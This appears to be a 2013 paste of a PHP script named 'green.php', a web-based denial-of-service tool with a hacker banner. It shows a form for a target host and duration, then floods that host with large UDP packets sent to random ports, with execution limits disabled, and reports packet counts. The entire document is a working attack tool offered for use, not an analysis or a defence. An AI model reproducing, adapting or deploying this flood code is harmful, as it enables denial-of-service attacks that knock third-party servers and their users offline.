green.php


SUBMITTED BY: Guest

DATE: Sept. 5, 2013, 3:36 p.m.

FORMAT: PHP

SIZE: 2.1 kB

HITS: 1063

  1. <html>
  2. <head>
  3. DoS
  4. </head>
  5. <body>
  6. <center>
  7. <font color="00FF00">
  8. <pre>
  9. __ _ _ _
  10. / ____| | | | |
  11. (___ | |__ ___| | |
  12. \___ \| '_ \ / _ \ | |
  13. __ _) | | | | __/ | |
  14. __/|_| |_|\___|_|_|
  15. </pre>
  16. <STYLE>
  17. input{
  18. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  19. }
  20. button{
  21. background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  22. }
  23. body {
  24. background-color: black;
  25. }
  26. </style>
  27. <?php
  28. //UDP
  29. if(isset($_GET['host'])&&isset($_GET['time'])){
  30. $packets = 0;
  31. ignore_user_abort(TRUE);
  32. set_time_limit(0);
  33. $exec_time = $_GET['time'];
  34. $time = time();
  35. //print "Started: ".time('d-m-y h:i:s')."<br>";
  36. $max_time = $time+$exec_time;
  37. $host = $_GET['host'];
  38. for($i=0;$i<65000;$i++){
  39. $out .= 'X';
  40. }
  41. while(1){
  42. $packets++;
  43. if(time() > $max_time){
  44. break;
  45. }
  46. $rand = rand(1,65000);
  47. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  48. if($fp){
  49. fwrite($fp, $out);
  50. fclose($fp);
  51. }
  52. }
  53. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  54. echo '<br><br>
  55. <form action="'.$surl.'" method=GET>
  56. <input type="hidden" name="act" value="phptools">
  57. Host: <br><input type=text name=host><br>
  58. Length (seconds): <br><input type=text name=time><br>
  59. <input type=submit value=Go></form>';
  60. }else{ echo '<br><b>UDP Flood</b><br>
  61. <form action=? method=GET>
  62. <input type="hidden" name="act" value="phptools">
  63. Host: <br><input type=text name=host value=><br>
  64. Length (seconds): <br><input type=text name=time value=><br><br>
  65. <input type=submit value=Go></form>';
  66. }
  67. ?>
  68. </center>
  69. </body>
  70. </html>

comments powered by Disqus